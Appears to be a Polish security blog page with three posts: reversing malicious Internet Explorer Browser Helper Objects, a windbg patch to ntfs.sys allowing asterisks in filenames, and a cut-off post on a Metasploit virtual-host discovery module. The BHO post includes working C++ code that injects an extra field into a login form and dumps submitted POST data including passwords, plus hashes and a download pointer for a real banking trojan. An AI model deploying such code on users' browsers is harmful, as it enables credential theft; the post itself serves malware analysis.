Reversowanie BHO

Od dawien dawna po dzień dzisiejszy (BHO wpierane jest od IE 4.0) autorzy malware’u wykorzystują funkcjonalność jaką dostarcza im BHO do znęcania się nad użytkownikami IE.
Przeważnie złośliwe BHO posiada dwie kluczowe funkcjonalności (na pewno w przypadku banker’a) :

-  monitorowania/logowania zapytań wysyłanych przez przeglądarkę 
	POST dump – kradzież haseł
– dynamiczne modyfikowania kodu html wybranych stron
	HTML code injection – wstrzyknięcie kodu html np. dodającego pare dodatkowych pól 
w formularzu przeznaczonych do wpisania większej ilości kodów TAN

=] Tworzenie BHO [=
Implementacje dll’ki można wykonać na kilka sposobów:

Czysty COM/WinApi
Oczywiście jak można się domyślać w tym przypadku implementacja wszystkich niezbędnych interfejsów COM’wych będzie należała do nas. Jest to jednak, doskonały sposób na dokładne zapoznanie się mechanizmami, które kryją się pod maską BHO.
Szczegółowy tutorial jak napisać BHO bez wykorzystania MFC/ATL z wyjaśnieniem podstaw związanych z technologią COM znajduję się tutaj : http://www.codeproject.com/KB/shell/BHOinCPP.aspx

MFC

ATL
W przypadku skorzystania z dobrodziejstwa biblioteki ATL do implementacji pozostaje nam tak naprawdę jedna metoda plus event handlery. Tutorial jak stworzyć BHO z wykorzystaniem ATL znajduję się tutaj:
http://msdn.microsoft.com/en-us/library/bb250489(v=vs.85).aspx

Jak przebiega wywołanie kolejnych interfejsów oraz ich metod:
W wielkim skrócie:
Ole32.dll w IE
CoGetClassObject->CoLoadLibrary
BHO
@export DllGetClassObject – przekazanie pointer’a na coclass IClassFactory
IClassFactory->CreateInstance – przekazanie pointera na coclass IObjectWithSite
IObjectWithSite->SetSite -uzyskanie pointera do interfejsu IWebBrowser2
IWebBrowser2->QueryInterface dla IConnectionPointContainer
IConnectionPointContainer-> FindConnectionPoint dla dispatchera DWebBrowserEvents2
IConnectionPointContainer->Advise – rejestracja coclassy implementującej dispatcher DWebBrowserEvents2 (obsługa eventów)

=] Interfejsy [=
Nas jak i zarówno twórców malware’u, intersować bedą tutaj w szczególności dwa interfejsy:
IWebBrowser2
DWebBrowserEvents2

=] Obsługa eventów [=
Jak można się domyślać, główny kod malwareu odpowiadający za takie akcje jak HTLM Code injection czy POST dump będzie znajdował się w klasie implementującej interfejs DWebBrowserEvents2, odpowiedzialnej za obsługę eventów.
I tak , HTML Code injection można spodziewać się przy obsłudze eventu:
DISPID_DOCUMENTCOMPLETE :
„DocumentComplete – Fires when a document is completely loaded and initialized.”

POST Dump ( kradzież login/pass)
DISPID_BEFORENAVIGATE2:
„BeforeNavigate2 – Fires before navigation occurs in the given object (on either a window element or a frameset element).”

Rzućmy okiem jak wygląda szczątkowa implementacja takiej klasy w cpp:
Czysty COM/WinAPI

class CEvents : public DWebBrowserEvents2 {
public:
STDMETHODIMP Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr);
private:
void OnBeforeNavigate2(...);
void OnDocumentComplete(...);
};

STDMETHODIMP CEvents::Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr)
{
switch(dispIdMember)
{
    case DISPID_DOCUMENTCOMPLETE:
OnDocumentComplete(...);
	break;

    case DISPID_BEFORENAVIGATE2:
OnBeforeNavigate2(...);
	break;
}
}

ATL

class ATL_NO_VTABLE CCBHO :
	public CComObjectRootEx<CComSingleThreadModel>,
	public CComCoClass<CCBHO, &CLSID_CBHO>,
	public IObjectWithSiteImpl<CCBHO>,
	public IDispatchImpl<ICBHO, &IID_ICBHO, &LIBID_firstBHOLib, /*wMajor =*/ 1, /*wMinor =*/ 0>,
	public IDispEventImpl<1, CCBHO, &DIID_DWebBrowserEvents2, &LIBID_SHDocVw, 1, 1>
{
public:
	CCBHO()
	{
	}


public:
	BEGIN_SINK_MAP(CCBHO) //initialize _ATL_EVENT_ENTRY structure 
		SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_DOCUMENTCOMPLETE, OnDocumentComplete)
		SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_BEFORENAVIGATE2, OnBeforeNavigate)
	END_SINK_MAP()

    // DWebBrowserEvents2
    void STDMETHODCALLTYPE OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL);
	void STDMETHODCALLTYPE OnBeforeNavigate(IDispatch *pDisp,    
											VARIANT *url,
											VARIANT *Flags,
											VARIANT *TargetFrameName,
											VARIANT *PostData,
											VARIANT *Headers,
											VARIANT_BOOL *Cancel);

Tak jak wspomniałem powyżej, dość kluczową rolę w funkcjonowaniu malwareu w postaci BHO będzie miał kod znajdujący się przy obsłudze eventów BEFORENAVIGATE2 i DOCUMENTCOMPLETE. Zanim jednak weźmiemy pod lupę przykładowy malware, rzućmy okiem na implementacje HTML Code injection oraz POST dump w CPP.

HTML Code injection (ATL)

void STDMETHODCALLTYPE CCBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL)
{
	HRESULT hr;
    // Retrieve the top-level window from the site.
	CComQIPtr<IWebBrowser2> tmpBrowser = pDisp;
	if(tmpBrowser && m_webBrowser && m_webBrowser.IsEqualObject(tmpBrowser))
	{
		CComPtr<IDispatch> doc;
		hr = m_webBrowser->get_Document(&doc);
		if(SUCCEEDED(hr))
		{
			CComQIPtr<IHTMLDocument2> html = doc;
			if( html != NULL)
			{
				debug_init();
				//check target url
				if(wcsstr((WCHAR*)pvarURL->pbstrVal,L"http://www.icewall.pl/wp-login.php"))
				{
					debug("[+] Target URL detected");
					CComPtr<IHTMLElement> body;
					hr = html->get_body(&body);
					if(!SUCCEEDED(hr) || body == NULL)
						return;
					debug("[+] Make simple html code injection, right after <body> tag");
					body->insertAdjacentHTML(L"afterBegin",L"<h1 style=\"text-align:center;color:red;\">Injected Code</h1>");
					
					debug("[+] Find login form");
					CComPtr<IHTMLElementCollection> forms;
					hr = html->get_forms(&forms);
					if(!SUCCEEDED(hr) || forms == NULL)
						return;
					
					long amount = 0;
					CComVariant name;
					CComPtr<IDispatch> pDisp;
					forms->get_length(&amount);
					for(int i =0; i < amount;i++)
					{
						CComVariant index(i);
						forms->item(name,index,&pDisp);
						CComQIPtr<IHTMLElement> form = pDisp;
						debug("[+] Injecting additional form field");
						form->insertAdjacentHTML(L"afterBegin",
							L"<label>Phone number<br /><input type=\"text\" name=\"phone\" class=\"input\" size=\"20\"/></label>");

					}
				}
												
			}
		}
	}
}

A tak wyglada efekt:

Jak widać na screen’e do kodu strony został wstrzykniety napis „Injected code” oraz dodatkowe pole formularza „Phone number”.
Ok, rzucmy okiem na kod wykonujacy POST dump’a:

void STDMETHODCALLTYPE CCBHO::OnBeforeNavigate(IDispatch *pDisp,    
										VARIANT *url,
										VARIANT *Flags,
										VARIANT *TargetFrameName,
										VARIANT *PostData,
										VARIANT *Headers,
										VARIANT_BOOL *Cancel)
{
    if (PostData != NULL && PostData->vt == (VT_VARIANT|VT_BYREF) && PostData->pvarVal->vt != VT_EMPTY )
	{
		debug("[+] POST data dump");
		//dump information about URL
		debug(std::string(CW2A(url->bstrVal)));
		
		char *szTemp = NULL;
		char *szPostData = NULL;
		long plLbound, plUbound;
		
		SAFEARRAY *parrTemp = PostData->pvarVal->parray;
		SafeArrayAccessData(parrTemp , (void HUGEP **) &szTemp);
		
		SafeArrayGetLBound(parrTemp , 1, &plLbound);
		SafeArrayGetUBound(parrTemp , 1, &plUbound);
		
		szPostData = new char[plUbound - plLbound + 2];
	    memcpy(szPostData, szTemp, plUbound - plLbound + 1);
		szPostData[plUbound-plLbound] = '\0';
		SafeArrayUnaccessData(parrTemp);
		
		//dump post data
		debug(szPostData);
		
		delete[] szPostData;
	}
}

Wypelniamy forme:

Login…

Jak widać, wszystkie dane wpisane w polach formularza (wraz z tymi wpisanymi do pola, które została wstrzyknięte przez nasze BHO) zostały zdumpowane na konsole.
Skoro już wiemy jakiego kodu możemy się spodziewać i mamy świadomość jak on funkcjonuje, rzućmy okiem na realny przykład.

=] Just reverse it! [=
Malware: Trojan-Spy.Win32.Banker
MD5: 4bb6988207b7e64c91181ab3a7a82e3e
SHA256: d02323c52b3142ffbfc2a8d92a4202022d2671ba18b4efbe7569863817e550e6
https://www.virustotal.com/ – report
Download: Trojan-Spy.Win32.Banker pass: infected

Plik reprezentowany przez powyżej przedstawione hashe jest tak naprawdę droperem, a nas będzie jedynie interesowała dll’ka, która dropuje do system32 czyli btask.dll (BHO).

Jak pewnie zauważyliście dll’ka spakowana jest upx’em, warto rozpakować dll’ke i pracować na rozpakowanej wersji nawet przy dynamicznej analizie.

=] Gdzie te event handler’y ?[=
Ustaliliśmy już, że złowieszcze funkcje typowe dla banker’a w postaci BHO znajdują się przy obsłudzę eventów. Teraz pytanie brzmi jak znaleźć te fragmenty kodu, a tak naprawdę jak odnaleźć funkcję
Invoke() (dla czystego COM/winapi) czy inicjalizację struktur _ATL_EVENT_ENTRY gdzie znajdować się będą wszystkie interesujące nas informacje i fragmenty kodu?

=] Wyszukiwanie stałych [=
Dobre rezultaty daje tutaj proste wyszukiwanie wartości stałych, które reprezentują poszczególne eventy:

IDA->Alt+I (Find all occurences) , znajdźmy wszystkie stałe wartości równe 259(0x103) reprezentujące event DOCUMENTCOMPLETE.

Address        Function     Instruction                                      
-------        --------     -----------                                      
.text:20004904 sub_2000480A cmp     eax, 103h
.text:2000B0E3 sub_2000B093 cmp     [ebp+var_18], 103h                       

Zobaczmy pierwszy adres:

Kod wygląda bardzo sensownie, widać sporą dawkę instrukcji warunkowych i porównań jednego argumentu funkcji do różnych stałych, co może świadczyć o tym, że faktycznie udało nam się odszukać funkcję Invoke. I tak też jest ;). Jeżeli, ktoś jeszcze tego nie dostrzegł to podpowiem, że można tutaj dostrzec typową implementację funkcji Invoke w przypadku kiedy NIE zastosowano ATL’owego szablonu. A jak wygląda sytuacja w przypadku ATL’a ?

atlBHO.dll (analiza dla ułatwienia z załadowanym plikiem pdb) – > Download
Tym razem próbując znaleźć miejsce w kodzie gdzie inicjalizowana jest tablica struktur _ATL_EVENT_ENTRY posługując się w tym przypadku wartością 0x130 zaliczymy fail’a z tego względu, że pierwsza struktura w tej tablicy ( w moim kodzie jest to struktura dla eventu DOCUMENTCOMPLETE) jest częściowo zainicjalizowana przez co IDA wskaże nam miejsce:

.data:1003D770 ; ATL::_ATL_EVENT_ENTRY<CCBHO> map[3]
.data:1003D770 struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * const `public: static struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * __cdecl CCBHO::_GetSinkMap(void)'::`2'::map dd 1                    ; nControlID
.data:1003D770                                         ; DATA XREF: CCBHO::_GetSinkMap(void):loc_1001C040o
.data:1003D770                 dd offset _DIID_DWebBrowserEvents2; piid
.data:1003D770                 dd 0Ch                  ; nOffset
.data:1003D770                 dd 103h                 ; dispid
.data:1003D770                 dd 0                    ; pfn
.data:1003D770                 db 4 dup(0)
.data:1003D770                 dd 0                    ; pInfo
.data:1003D770                 db 4 dup(0)             ; _padding
.data:1003D770                 dd 0                    ; nControlID
...

czyli przestrzeń statycznie zaalokowaną na tablice _ATL_EVENT_ENTRY. My jednak szukamy miejsca w kodzie gdzie następuje inicjalizacja tej tablicy. Poszukajmy więc wartości odpowiadającej event’owi
BEFORENAVIGATE2 czyli 0xFA

.text:1001BF29                 mov     [ebp+var_EC], offset CCBHO::OnDocumentComplete(IDispatch *,tagVARIANT *)
(...)
.text:1001BF9E                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+20h, edx
.text:1001BFA4                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+20h, 0FAh
.text:1001BFAE                 mov     [ebp+var_DC], offset CCBHO::OnBeforeNavigate(IDispatch *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,short *)
.text:1001BFB8                 mov     [ebp+var_D8], 0
.text:1001BFC2                 mov     eax, [ebp+var_DC]
.text:1001BFC8                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pfn+20h, eax
.text:1001BFCD                 mov     ecx, [ebp+var_D8]
.text:1001BFD3                 mov     dword ptr ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map+34h, ecx
.text:1001BFD9                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pInfo+20h, 0
.text:1001BFE3                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nControlID+40h, 0
.text:1001BFED                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.piid+40h, 0
.text:1001BFF7                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+40h, 0
.text:1001C001                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+40h, 0

Bingo! Pod adresem 1001BF29 oraz 1001BFAE widzimy inicjalizację struktur offset’ami na event handlery. Mamy, więc trywialny sposób na odnalezienie interesujących nas fragmentów kodu w obu przypadkach. Zautomatyzujmy ten proces.

IDA Python – > Download BHO.py
Stworzyłem prosty skrypt, który bazując na paru najpopularniejszych stałych reprezentujących event’y odnajduje miejsce funkcji Invoke czy inicjalizacji tablicy _ATL_EVENT_ENTRY.
Wróćmy do naszego malwareu i odpalmy skrypt.

Searching for DISPID_BEFORENAVIGATE2
Searching for DISPID_DOCUMENTCOMPLETE
Searching for DISPID_NAVIGATECOMPLETE2
Searching for DISPID_ONQUIT
Potential Invoke function 0x20003b22 : appearance 1
Potential Invoke function 0x20013043 : appearance 1
Potential Invoke function 0x200044cc : appearance 1
Potential Invoke function 0x2000480a : appearance 4
Potential Invoke function 0x20004eec : appearance 1
Potential Invoke function 0x200074f1 : appearance 1
Potential Invoke function 0x2000b093 : appearance 1
Potential Invoke function 0x200022fa : appearance 1
Suggested address of Invoke function : 0x2000480a

Jak widać skrypt spisał się bardzo dobrze, ponieważ 0x2000480ajest faktycznym adresem funkcji Invoke, który udało nam się wcześniej ustalić ręcznie.
Bho.py posiada jeszcze jedna użyteczna opcje, a mianowicie funkcję bho_invoke(ea) (gdzie ea to adres funkcji invoke lub init _ATL_EVENT_ENTRY), która doda komentarze zawierające opisy każdej stałej w miejscu jej występowania.

Python>bho_invoke(0x2000480a)
Found DISPID_NAVIGATECOMPLETE2 at: 200048bb
Found DISPID_NAVIGATEANDFIND at: 200048d0
Found DISPID_PROGRESSCHANGE at: 20004825
Found DISPID_DOCUMENTCOMPLETE at: 20004904
Found DISPID_BEFORENAVIGATE2 at: 200048c6
Found DISPID_ONQUIT at: 200049d7
Found DISPID_DOWNLOADCOMPLETE at: 2000481c
Found DISPID_ISSUBSCRIBED at: 200048d0

Zobaczmy efekt:

Możemy teraz przystąpić do reversowania poszczególnych event handlerów.

=] Reversowanie kodu zawierającego wywołania interfejsów COM [=
Bez odpowiedniego podejścia i jeszcze paru zabiegów, reversowanie takiego kodu może być mocno uciążliwe. Dlatego też, polecam kilka skryptów stworzonych przez Frank’a Boldewin’a :
ClassAndInterfaceToNames.zip – odnajdywanie UUID’ów class i interfejsów
VtablesStructuresFromPSDK2003R2.zip – skrypt dodający struktury vtable powiązane z interfejsami COM.
Practical%20COM%20code%20reconstruction.swf – video prezentujące: reversowanie COM’wego kodu + zalety skorzystania z dwóch powyższych skryptów.

Żeby zobaczyć różnice jak i zalety zastosowania powyższych skryptów spróbujmy zreversować następujący kawałek kodu pochodzący z event handler’a OnDocumentComplete:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+var_18]
.text:2000290B                 push    edx
.text:2000290C                 push    offset unk_200180E8
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+var_18], ebx
.text:20002915                 call    dword ptr [ecx]

Widać tutaj wywołanie jakieś metody wirtualnej tylko pytanie jakiego interfejsu i co dokładnie jest argumentem pod tym offset’em unk_200180E8 ?
Użyjmy skryptu ClassAndInterfaceToNames, a oto efekt:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+var_18]
.text:2000290B                 push    edx
.text:2000290C                 push    offset IID_IWebBrowser2__2
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+var_18], ebx
.text:20002915                 call    dword ptr [ecx]

Ahh już lepiej, teraz patrząc na nasz kod w CPP zauważamy analogię, że na wstępie interfejs IDispatch wywołuje QueryInterface z argumentami :

  IID_IWebBrowser2,
 (void **)&pWebBrowser)
( ta linijka ukrywa się tutaj CComQIPtr<IWebBrowser2> tmpBrowser = pDisp; )

żeby uzyskać pointer na coclass IWebBrowser. Wnioskując z tego, mamy iż:

[ebp+var_18] to [ebp+IWebBrowser]

a

call    dword ptr [ecx] to (naciskamy na ecx T i szukamy IDispatch) 
call    dword ptr [ecx+ IDispatchVtbl.QueryInterface]

efekt końcowy:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+IWebBrowser]
.text:2000290B                 push    edx
.text:2000290C                 push    offset IID_IWebBrowser2__2
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+IWebBrowser], ebx
.text:20002915                 call    [ecx+IDispatchVtbl.QueryInterface]

Itd… Ok, ale co jeśli chcemy wykonać dynamiczną analizę? Ofc, możemy przeanalizować w podany powyżej sposób kod statycznie, jednak takie podejście czasami wymaga uzupełnienia z różnych względów, czyli właśnie dynamicznej analizy.
Niestety pojawia się tu pewien problem, ponieważ SHDOCVW.dll, do której odwoływać się będzie większość call’i powiązanych z interfejsami COM w naszym przypadku

źródło http://msdn.microsoft.com/en-us/library/ie/aa741313(v=vs.85).aspx

, nie ma ujawnionych „czytelnych” nazw dla większości exportów. I w miejscu takim jak:

010328F9  |.  8B45 10       MOV EAX,[ARG.3]
010328FC  |.  33DB          XOR EBX,EBX
010328FE  |.  3BC3          CMP EAX,EBX
01032900  |.  0F84 BF010000 JE btask.01032AC5
01032906  |.  8B08          MOV ECX,DWORD PTR DS:[EAX]
01032908  |.  8D55 E8       LEA EDX,[LOCAL.6]
0103290B  |.  52            PUSH EDX
0103290C  |.  68 E8800401   PUSH btask.010480E8
01032911  |.  50            PUSH EAX
01032912  |.  895D E8       MOV [LOCAL.6],EBX
01032915  |.  FF11          CALL DWORD PTR DS:[ECX]                                                             

pojawi się tylko i wyłącznie podpowiedź Olka w stylu:

01032915  |.  FF11          CALL DWORD PTR DS:[ECX]                ;  SHDOCVW.777D78E9

Oczywiście jest na to rada;). Skorzystanie z dobrodziejstwa symboli. Ale, ze względu na sędziwość Olka 1.1 i nie w pełni gotową jeszcze wersje 2.0, warto odseparować do osobnego katalogu tylko i wyłącznie symbole dla tych dll’ek, które faktycznie nas interesują czyli
SHDOCVW.dll i ew. MSHTML.dll. W innym wypadku możemy spodziewać się sporego czasu oczekiwania na koniec analizy przez Olka każdej dll’ki z osobna, a nawet czasami crashu.
Symbole dla pojedynczego pliku można pobrać używając narzędzia symchk.exe
Tworzymy zmienną środowiskową:
_NT_SYMBOL_PATH=symsrv*symsrv.dll*C:\windows\Sym
A w katalogu C:\windows\Sym umieszczamy interesujące nas symbole:

c:\WINDOWS\sym>dir
 Volume in drive C has no label.
 Volume Serial Number is 44BE-4B9D

 Directory of c:\WINDOWS\sym

01/27/2012  11:21 AM    <DIR>          .
01/27/2012  11:21 AM    <DIR>          ..
01/27/2012  11:21 AM    <DIR>          mshtml.pdb
01/27/2012  11:21 AM    <DIR>          mshtmled.pdb
01/27/2012  11:21 AM    <DIR>          shdocvw.pdb

A oto efekt:

I z tak przygotowanym zestawem narzędzi jak i podejściem możemy kontynuować nasza zabawę w reversowanie BHO ;).

Opublikowano Aplikacja, Malware, RE | Otagowano , , , , , , | 6 komentarzy

Gwiazdka w nazwach plików i folderów ?

Czy to w ogóle możliwe ? Okazuje się, że tak.
Na możliwość tworzenia nazw plików czy folderów zawierających gwiazdkę wpadłem przez przypadek, czytając wybrane fragmenty driver’a NTFS robiąc research odnośnie długich ścieżek pod Windows’em.

[ Gdzie kryje się sekret? ]
Sekretna flaga umożliwiająca użycia gwiazdki(wildcard’u) jest używa jako drugi argument następującej funkcji:

PAGE:00038359 ; int __stdcall NtfsIsFileNameValid(PUNICODE_STRING, bool)
PAGE:00038359
PAGE:00038359 var_2           = byte ptr -2
PAGE:00038359 var_1           = byte ptr -1
PAGE:00038359 fileName        = dword ptr  8
PAGE:00038359 wildCardFlag    = dword ptr  0Ch
PAGE:00038359
PAGE:00038359                 mov     edi, edi
PAGE:0003835B                 push    ebp
PAGE:0003835C                 mov     ebp, esp
PAGE:0003835E                 push    ecx
PAGE:0003835F                 mov     edx, [ebp+fileName]
PAGE:00038362                 mov     cx, [edx]
PAGE:00038365                 test    cx, cx
PAGE:00038368                 push    edi
PAGE:00038369                 mov     [ebp+var_2], 1
PAGE:0003836D                 mov     [ebp+var_1], 1
PAGE:00038371                 jz      loc_5FE42
PAGE:00038377                 test    cl, 1
PAGE:0003837A                 jnz     loc_5FE42
PAGE:00038380                 movzx   ecx, cx
PAGE:00038383                 shr     ecx, 1
PAGE:00038385                 push    0
PAGE:00038387                 pop     edi
PAGE:00038388                 jz      loc_5FE3D
PAGE:0003838E                 push    ebx
PAGE:0003838F                 push    esi
PAGE:00038390                 mov     esi, [edx+4]
PAGE:00038393
PAGE:00038393 loc_38393:                              
PAGE:00038393                 mov     bx, [esi]
PAGE:00038396                 cmp     bx, 0FFh
PAGE:0003839B                 ja      short loc_383C8
PAGE:0003839D                 test    bl, bl
PAGE:0003839F                 jl      short loc_383C8
PAGE:000383A1                 mov     edx, ds:_FsRtlLegalAnsiCharacterArray
PAGE:000383A7                 mov     edx, [edx]
PAGE:000383A9                 movzx   eax, bx
PAGE:000383AC                 movzx   eax, byte ptr [eax+edx]
PAGE:000383B0                 mov     dl, byte ptr [ebp+wildCardFlag]
PAGE:000383B3                 neg     dl
PAGE:000383B5                 sbb     edx, edx
PAGE:000383B7                 and     edx, 8
PAGE:000383BA                 or      edx, 4
PAGE:000383BD                 and     eax, edx
PAGE:000383BF                 mov     [ebp+fileName], eax
PAGE:000383C2                 jz      loc_5FE34
PAGE:000383C8
PAGE:000383C8 loc_383C8:                              
PAGE:000383C8                                         
PAGE:000383C8                 cmp     bx, ':'
PAGE:000383CC                 jz      loc_5FE34
PAGE:000383D2                 cmp     bx, '\'
PAGE:000383D6                 jz      loc_5FE34
PAGE:000383DC                 cmp     bx, '.'
PAGE:000383E0                 jz      short loc_383E6
PAGE:000383E2                 mov     [ebp+var_2], 0
PAGE:000383E6
PAGE:000383E6 loc_383E6:                              
PAGE:000383E6                 inc     edi
PAGE:000383E7                 inc     esi
PAGE:000383E8                 inc     esi
PAGE:000383E9                 cmp     edi, ecx
PAGE:000383EB                 jb      short loc_38393
PAGE:000383ED
PAGE:000383ED loc_383ED:                             
PAGE:000383ED                 cmp     [ebp+var_2], 0
PAGE:000383F1                 pop     esi
PAGE:000383F2                 pop     ebx
PAGE:000383F3                 jnz     loc_5FE3D
PAGE:000383F9
PAGE:000383F9 loc_383F9:                              
PAGE:000383F9                                         
PAGE:000383F9                 mov     al, [ebp+var_1]
PAGE:000383FC                 pop     edi
PAGE:000383FD                 leave
PAGE:000383FE                 retn    8
PAGE:000383FE _NtfsIsFileNameValid@8 endp

Jako, że we wszystkich znaczących miejscach wywołania tej funkcji ma ona ustawiony drugi parametr na False, to tak jak przywykliśmy, utworzenie pliku czy folder’u z gwiazdką w nazwie jest nie możliwe.

[ Mały patch ]
Oczywiście, żeby zmodyfikować tą ustawioną na sztywno flagę z false na true potrzebujemy dostępu do driver’a ntfs z r0 jeżeli chcemy go zmodyfikować run-time i nie bawić się w obchodzenie WFP.
Jako, że wstępne badania nie przyniosły nic szczególnego to nie fatygowałem się nawet, żeby pisać driver, patch’a wykonałem w prost z windbg:

Patch:

PAGE:000383B0                 mov     dl, 1
PAGE:000383B2                 nop

A oto efekty:

Ku mojemu zaskoczeniu jak widać na powyższym screenie wszystko działa poprawnie.

[ (Nie)pożądane działanie: ]
Jedyny wpływ na niepoprawne działanie systemu jaki udało mi się zaobserwować po paru prostych testach to np. brak możliwości skopiowania czegokolwiek do folderu którego nazwa zawiera asterisk.
Oczywiście kompletny fail spotyka nas kiedy w dowolnym miejscu naszej partycji pozostanie plik lub folder zawierający wildcard, a my przestawimy flagę w
NtfsIsFileNameValid na false (domyślne ustawienie). W takiej sytuacji cała partycja staje się dla nas nie dostępna ;).
Jeżeli kogoś zainspirował temat i ma chęć prowadzić dalsze badania to z chęcią usłyszę czy udało się wycisnąć z tego coś więcej;)

Opublikowano Analiza, RE | Otagowano , , , | Skomentuj

Tworzenie modułu do Metasploit’a – vhost_finder

Czasami zdarzają się pentesty, w których dane jakie dostarcza klient ograniczają się jedynie do zakresu adresów IP hostów, które powinny zostać przetestowane (zakres publiczny ofc), BA czasami i nawet ta kwestia pozostaje do ustalenia przez pentestera.
Sporą ilością wektorów ataków o dużym impakcie (RFI,LFI,SQLi,PathTraversal,…) charakteryzują się web aplikacje, dlatego ich odkrycie w przestrzeni adresowej należącej do klienta może mieć znaczący wpływ na wydźwięk naszego końcowego raportu ;). Odnalezienie samych demonów httpd jest kwestią przeważnie trywialną, jednak kiedy demon został skonfigurowany do obsługi virtual-hostów to przy próbie odwołania się do niego bez znajomości powiązanych domen dostaniemy jedynie np. „Site underconstruction (IIS)” czy „Bad Request (Invalid Hostname)” dla apache. W takim przypadku, jak pewnie dobrze wiecie, z pomocą może przyjść nam jedna z komend bing’a a mianowicie ip:173.236.133.83.
Kiedy mamy do przeskanowanie jeden adres ip nie ma problemu, można sprawdzić istniejące hosty przy pomocy bing’a ręcznie. Jednak kiedy do przeskanowania przychodzi nam /24 czy większa ilość hostów, a następnie zebranie rezultatów, to raczej nie jest to możliwe do wykonania w sensownym okresie czasu.
Dlatego, aby zautomatyzować ten proces do głowy przyszedł mi pomysł stworzenia modułu do metasploit o nazwie vhost_finder. Jak dokładnie on działa i jak wyglądają rezultaty skanowania przedstawię później, na razie rzućmy okiem na to jak stworzyć przykładowe środowisko programistyczne do „wygodnego” tworzenia kodu dla metasploit’a.

>> Konfiguracja środowiska
Musze przyznać, że długi okres czasu byłem jedynie biernym użytkownikiem tego frameworku ze względu na język, w którym został napisany.
Nie chodzi o to, że byłem uprzedzony do ruby, a raczej o fakt, że znałem już python’a, który w zupełności mi wystarczał :D.
Jednak ze względu na rosnącą chęć ingerowania w działanie frameworku, przypływ wolnego czasu i pewnie ciekawość nowego dla mnie języka programowania, postanowiłem rozklikać temat;).
Nie wiem jakie jest wasze podejście kiedy zabieracie się do kodzenia w nowym języku, ale pierwszą rzeczą jaką ja muszę mięć jest porządne IDE.
I okazuje się, że NetBeans + ruby plugin świetnie się do tego nadaje:

Recz, którą warto zrobić tuż po utworzeniu projektu jest oczywiście dodanie katalogu z lib’ami pochodzącego z metasploit’a, abyśmy mogli w pełni korzystać z dobrodziejstwa uzupełniania składni, podpowiedzi odnośnie metod/pól obiektów itd.

>> Testowanie modułu auxiliary
Myślę, że większą część modułów auxiliary można testować na dwojaki sposób:

„stand-alone”
Pisząc stand-alone, w tym kontekście mam na myśli, tworzenie i testowanie kodu modułu bez umieszczania go w szablonie modułu.
Dzięki temu możemy testować nasz kod jak kod normalnego skryptu, korzystając przy tym z debuger’a.
Moim zdaniem warto wybrać takie rozwiązanie, i przenieść całość kodu do szablonu w momencie kiedy kod jest już gotowy.

„praca z szablonem”
Kiedy zdecydujemy się od początku na wypełnianie szablonu naszym kodem jesteśmy zmuszeni (chyba, że znacie jakiś jak to z chęcią poznam) do wykonywania testów z pod msfconsole. Oczywiście w takim wypadku możemy zapomnieć o dobrodziejstwie debuger i pozostaje nam jedynie printowanie wartości na ekran. Należy również pamiętać o każdorazowym przeładowaniu modułu po wykonaniu poprawki komendą reload.

msf auxiliary(vhost_finder) >
Jak dokładnie działa vhost_finder?
Oczywiście wykorzystuje bing’a, ale robi to w dwóch trybach w zależności od wyboru:

1. bez podawania klucza do API Bing’a
Moduł odwołuje się bezpośrednio do strony bing’a i pobiera wyniki parsując jej kontent.

2. z kluczem
Kwestia oczywista. Klucz można uzyskać tutaj Bing API
Dorzuciłem obsługę API Bing’a z tego względu, że parsowanie strony będzie działać do momentu, aż ktoś w MS nie postanowi zmienić tagów opisujących URL’e. Wtedy bez konieczności modyfikacji kodu modułu lub czekania na mój patch:P, można skorzystać z wersji wykorzystującej API.
Tryb wykorzystujący API nie jest w żaden sposób lepszy, BA!!! wyniki pochodzące z API są bardzo często mocno okrojone w porównaniu do tych, które otrzymujemy bezpośrednio odwołując się do Bing’a.

Myślę, że resztę detali zdradzi wam czytanie kodu jak i ten przykład użycia:

msf  auxiliary(vhost_finder) > info

